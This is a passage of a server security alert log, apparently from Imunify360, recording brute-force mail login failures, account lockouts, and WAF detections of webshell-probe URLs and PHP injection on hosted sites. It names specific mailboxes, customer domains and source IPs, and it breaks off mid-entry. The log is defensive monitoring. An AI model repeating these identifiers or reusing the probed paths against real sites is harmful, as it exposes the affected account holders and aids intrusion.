2026-02-02 06:51:09 dovecot_login authenticator failed for H=(zCNuAf0L3i) [92.118.39.145]:57169: 535 Incorrect authentication data (set_id=nsales@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:51:38 dovecot_login authenticator failed for H=(Frq55Z) [178.16.52.139]:55229: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.157.49.19
country_id: 1643084
domain: mail.cordage.com.my
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:7.71||T:APACHE||SC:/home2/admincordage/public_html/products.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:52:13 dovecot_login authenticator failed for H=(PSZNGXZas) [178.16.52.139]:51318: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:52:13 dovecot_login authenticator failed for H=(NqP4iQ4LR) [165.154.217.204]:56440: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:52:19 dovecot_login authenticator failed for H=(Gt7sTLrWA2) [165.154.217.204]:57307: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:52:35 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:52:05 dovecot_login authenticator failed for H=(Wb7t7bGb) [185.230.124.69]:54999: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:52:05 dovecot_login authenticator failed for H=(pq1ODJDf) [92.118.39.145]:59768: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:52:11 dovecot_login authenticator failed for H=(96rncok5b) [158.94.208.175]:62069: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:52:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51808: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-02-02 06:52:40 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:49145: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-02 06:53:18 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:35148: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.169.148.186
country_id: 2963597
domain: nexuscollection.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home2/nexus2019/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:53:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.210
country_id: 2542007
description:
2026-02-02 06:53:13 dovecot_login authenticator failed for H=([154.144.255.210]) [154.144.255.210]:48058: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-02-02 06:53:25 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:42316: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:53:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62150: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.169.148.186
country_id: 2963597
domain: nexuscollection.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/nexus2019/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:53:04 dovecot_login authenticator failed for H=(dQcK7k) [185.230.124.69]:52855: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:53:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:53:14 dovecot_login authenticator failed for H=(csMvbvK2cx) [165.154.217.204]:50012: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:53:51 dovecot_login authenticator failed for H=(TcRjeP) [165.154.217.204]:56360: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-02-02 06:53:03 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:39650: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:53:07 dovecot_login authenticator failed for H=(ymDa9K9kw) [178.16.52.139]:55167: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:53:12 dovecot_login authenticator failed for H=(2bHat9h17) [158.94.208.175]:49296: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:53:13 dovecot_login authenticator failed for H=(EYpteRcnI) [92.118.39.145]:50675: 535 Incorrect authentication data (set_id=nsales)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.217.180.34
country_id: 1835841
domain: webhosting2u.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/webhost/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:53:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39632: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:54:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55328: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:54:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:54:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:54:21 dovecot_login authenticator failed for H=(x7C0RFk) [178.16.54.138]:52679: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:54:10 dovecot_login authenticator failed for H=(mh5wfXGl0X) [165.154.217.204]:59629: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:54:21 dovecot_login authenticator failed for H=(e5NZGq) [92.118.39.145]:53950: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:54:27 dovecot_login authenticator failed for H=(jQMr5jit) [178.16.52.139]:49983: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:54:17 dovecot_login authenticator failed for H=(kKDXMf) [158.94.208.175]:62359: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:54:20 dovecot_login authenticator failed for H=(S4fAfn5Zxb) [185.230.124.69]:60167: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:55:06 dovecot_login authenticator failed for H=(uFMVNsX) [165.154.217.204]:52428: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:55:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:55:19 dovecot_login authenticator failed for H=(SkfGd6) [158.94.208.175]:50259: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:55:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49518: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.228.105.192
country_id: 1835841
description:
2026-02-02 06:55:12 dovecot_login authenticator failed for H=([58.228.105.192]) [58.228.105.192]:54442: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-02 06:55:22 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (later) [87.103.126.54]:26305: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.53.52.116
country_id: 1814991
description:
2026-02-02 06:55:27 dovecot_login authenticator failed for H=([111.53.52.116]) [111.53.52.116]:46932: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:55:30 dovecot_login authenticator failed for H=(oSwdASP4s) [178.16.52.139]:65354: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:55:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42280: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:55:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:55:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:55:07 dovecot_login authenticator failed for H=(pDXPoB55S) [92.118.39.145]:55928: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:55:11 dovecot_login authenticator failed for H=(4mPdtVl) [165.154.217.204]:53284: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:55:17 dovecot_login authenticator failed for H=(RH56zVWZ) [185.230.124.69]:50703: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:56:43 dovecot_login authenticator failed for H=(sWOJJg7Bj) [165.154.217.204]:51693: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-02 06:56:06 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:49874: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:56:16 dovecot_login authenticator failed for H=(qr4l995LQ) [92.118.39.145]:59409: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:56:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:56:14 dovecot_login authenticator failed for H=(R5PRp38ZT) [185.230.124.69]:49222: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:56:19 dovecot_login authenticator failed for H=(E6dn3Sg) [158.94.208.175]:49826: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-02-02 06:57:01 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:48314: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:56:03 dovecot_login authenticator failed for H=(BzLPQJkhbD) [165.154.217.204]:62072: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-02 06:56:09 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:35596: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:56:28 dovecot_login authenticator failed for H=(gOkQk5) [178.16.52.139]:51697: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:56:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:56:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:56:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59089: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.38.201.238
country_id: 6252001
description:
2026-02-02 06:56:18 dovecot_plain authenticator failed for H=c-68-38-201-238.hsd1.in.comcast.net (turmisiess) [68.38.201.238]:34476: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 182.75.215.245
country_id: 1269750
description:
Feb  2 06:57:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account central has been temporarily locked by Imunify PAM(182.75.215.245)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:57:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53374: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.91.59
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=175050 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:57:23 dovecot_login authenticator failed for H=(hZrn7xq) [92.118.39.145]:62437: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:57:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.63.42.76
country_id: 1814991
description:
2026-02-02 06:58:01 dovecot_login authenticator failed for H=([111.63.42.76]) [111.63.42.76]:39590: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:57:43 dovecot_login authenticator failed for H=(lZeKHo) [178.16.54.138]:60776: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-02 06:57:42 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:53472: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:57:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:57:11 dovecot_login authenticator failed for H=(rT2Ipc) [185.230.124.69]:49397: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:57:50 dovecot_login authenticator failed for H=(Q2qnnRT) [165.154.217.204]:62668: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:57:03 dovecot_login authenticator failed for H=(yO9Is8Xthu) [165.154.217.204]:54546: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:57:21 dovecot_login authenticator failed for H=(e68Vj74dFE) [178.16.52.139]:58197: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:57:22 dovecot_login authenticator failed for H=(qt1Kp4) [158.94.208.175]:63819: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:57:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:58:29 dovecot_login authenticator failed for H=(HB2C2Ox) [178.16.52.139]:63154: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:58:47 dovecot_login authenticator failed for H=(HbO82xS) [178.16.54.138]:56484: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-02 06:58:59 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:54105: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:58:02 dovecot_login authenticator failed for H=(Mrr7HsSRr) [165.154.217.204]:63762: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  2 06:58:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account nsales has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-02  6:58:11 273214 [Warning] Aborted connection 273214 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-02-02 06:58:13 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:49623: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:58:19 dovecot_login authenticator failed for H=(tA24IyfcDp) [158.94.208.175]:49577: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-02-02 06:58:33 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:49300: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:58:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52298: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:58:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:58:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:58:08 dovecot_login authenticator failed for H=(CDJdxn90R) [185.230.124.69]:53344: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-02 06:58:08 dovecot_login authenticator failed for H=(QuAqY9) [92.118.39.145]:64583: 535 Incorrect authentication data (set_id=nsales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:58:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65328: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:59:05 dovecot_login authenticator failed for H=(qPVdmbRg5) [185.230.124.69]:53540: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:59:19 dovecot_login authenticator failed for H=(NmvWPk) [158.94.208.175]:58790: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 06:59:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.124.225.159
country_id: 2017370
description:
2026-02-02 06:59:52 dovecot_login authenticator failed for H=(host-94.124.225.159.gascom.net.ru) [94.124.225.159]:35380: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.163.72
country_id: 1814991
description:
2026-02-02 06:59:13 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.163.72]:46038: 535 Incorrect authentication data (set_id=chewkc@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.65.27.43
country_id: 1814991
description:
2026-02-02 06:59:33 dovecot_login authenticator failed for H=([112.65.27.43]) [112.65.27.43]:35688: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:59:17 dovecot_login authenticator failed for H=(ml8bVAZ) [165.154.217.204]:56946: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:59:23 dovecot_login authenticator failed for H=(bXSd2m0JG) [178.16.52.139]:51368: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 06:59:49 dovecot_login authenticator failed for H=(G38jWtn6K) [178.16.54.138]:64090: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.176.174.87
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56871532676393 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:59:37 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64392: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:59:17 dovecot_login authenticator failed for H=(lRCxvRR) [165.154.217.204]:56944: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
